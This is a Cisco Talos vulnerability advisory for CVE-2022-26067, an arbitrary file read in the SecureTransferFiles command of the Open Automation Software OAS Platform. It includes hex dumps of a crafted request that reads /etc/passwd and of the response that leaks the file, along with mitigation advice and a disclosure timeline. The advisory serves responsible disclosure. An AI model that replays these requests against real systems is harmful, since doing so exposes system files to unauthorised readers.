Talos Vulnerability Report

TALOS-2022-1492

Open Automation Software Platform Engine SecureTransferFiles information disclosure vulnerability

MAY 25, 2022

CVE NUMBER

CVE-2022-26067

Summary

An information disclosure vulnerability exists in the OAS Engine SecureTransferFiles functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted series of network requests can lead to arbitrary file read. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

Open Automation Software OAS Platform V16.00.0112

Product URLs

OAS Platform - https://openautomationsoftware.com/knowledge-base/getting-started-with-oas/

CVSSv3 Score

4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-306 - Missing Authentication for Critical Function

Details

The OAS Platform was built to facilitate the simplified transfer of data between various proprietary devices and applications. It can be used to connect products from multiple different vendors, connect a product to a custom application, and more.

By sending a series of properly-formatted configuration messages to the OAS Platform, it is possible to read an arbitrary file at any location permissible by the underlying user. By default these messages can be sent to TCP/58727 and, if successful, will be processed by the user `oasuser` with normal user permissions.

Before the transfer of a file will be accepted, it is necessary that a Security Group with File Transfer permissions and a User Account in that group exist. Both the Security Group and the User Account referred to here are elements within the OAS Platform, not on the underlying Linux machine. If an acceptable Security Group and User Account already exist, the necessary credentials can be sniffed off the network and used for the transfer. If they do not exist, they would need to be created before exploitation would be possible.

A valid `SecureTransferFiles` command resembles the following:

```
0000   00 0c 29 5e b3 62 c4 b3 01 c3 ba c9 08 00 45 00   ..)^.b........E.
0010   00 ff 00 00 40 00 40 06 a4 06 c0 a8 0a 6a c0 a8   ....@.@......j..
0020   0a 38 c4 e4 e5 67 c9 f5 cd 34 94 6c 24 2e 80 18   .8...g...4.l$...
0030   08 0a 21 f0 00 00 01 01 08 0a bb 15 e8 9d d6 18   ..!.............
0040   2b 37 00 00 00 00 00 60 68 40 00 01 00 00 00 ff   +7.....`h@......
0050   ff ff ff 01 00 00 00 00 00 00 00 10 01 00 00 00   ................
0060   03 00 00 00 08 08 01 00 00 00 06 02 00 00 00 13   ................
0070   53 65 63 75 72 65 54 72 61 6e 73 66 65 72 46 69   SecureTransferFi
0080   6c 65 73 09 03 00 00 00 10 03 00 00 00 04 00 00   les.............
0090   00 08 08 01 00 00 00 06 04 00 00 00 0d 4d 61 6c   .............Mal
00a0   69 63 69 6f 75 73 55 73 65 72 06 05 00 00 00 20   iciousUser.....
00b0   31 4d 5a 4a 32 58 54 65 41 77 69 38 38 2b 61 59   1MZJ2XTeAwi88+aY
00c0   78 62 55 30 37 76 2b 6b 34 47 57 4a 69 56 50 78   xbU07v+k4GWJiVPx
00d0   09 06 00 00 00 10 06 00 00 00 01 00 00 00 09 07   ................
00e0   00 00 00 10 07 00 00 00 03 00 00 00 08 08 02 00   ................
00f0   00 00 06 08 00 00 00 03 6f 75 74 06 09 00 00 00   ........out.....
0100   0b 2f 65 74 63 2f 70 61 73 73 77 64 0b            ./etc/passwd.
```

Once the required Security Group and User Account have been created, a file of choice can be read from the underlying linux machine at any path permissible by the user owning the `oas-engine` service, through use of the `SecureTransferFiles` command accompanied with the newly created (or sniffed) credentials. When a `SecureTransferFiles` command is successfully processed, the response will contain the contents of the requested file. This response resembles the following:

```
0000   c4 b3 01 c3 ba c9 00 0c 29 5e b3 62 08 00 45 00   ........)^.b..E.
0010   0a de 3b ca 40 00 40 06 5e 5d c0 a8 0a 38 c0 a8   ..;.@.@.^]...8..
0020   0a 6a e5 67 c4 e4 94 6c 24 2e c9 f5 cd ff 80 18   .j.g...l$.......
0030   01 fc a0 c3 00 00 01 01 08 0a d6 18 2b 3c bb 15   ............+<..
0040   e8 9d 00 00 00 00 00 44 a5 40 00 01 00 00 00 ff   .......D.@......
0050   ff ff ff 01 00 00 00 00 00 00 00 10 01 00 00 00   ................
0060   02 00 00 00 06 02 00 00 00 07 53 75 63 63 65 73   ..........Succes
0070   73 09 03 00 00 00 10 03 00 00 00 01 00 00 00 09   s...............
0080   04 00 00 00 10 04 00 00 00 03 00 00 00 08 08 01   ................
0090   00 00 00 06 05 00 00 00 0b 2f 65 74 63 2f 70 61   ........./etc/pa
00a0   73 73 77 64 09 06 00 00 00 0f 06 00 00 00 38 0a   sswd..........8.
00b0   00 00 02 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f   ...root:x:0:0:ro
00c0   6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61   ot:/root:/bin/ba
00d0   73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a   sh.daemon:x:1:1:
00e0   64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e   daemon:/usr/sbin
00f0   3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67   :/usr/sbin/nolog
0100   69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e   in.bin:x:2:2:bin
```

Mitigation

The easiest way to mitigate attempts to exploit this vulnerability is to prevent access to the configuration port (TCP/58727 by default) when not actively configuring the OAS Platform. Additionally, use a dedicated user account to run the OAS Platform and ensure that user account does not have any more permissions than absolutely necessary.

Timeline

2022-03-16 - Vendor Disclosure
2022-05-22 - Vendor Patch Release
2022-05-25 - Public Release

CREDIT

Discovered by Jared Rittle of Cisco Talos.
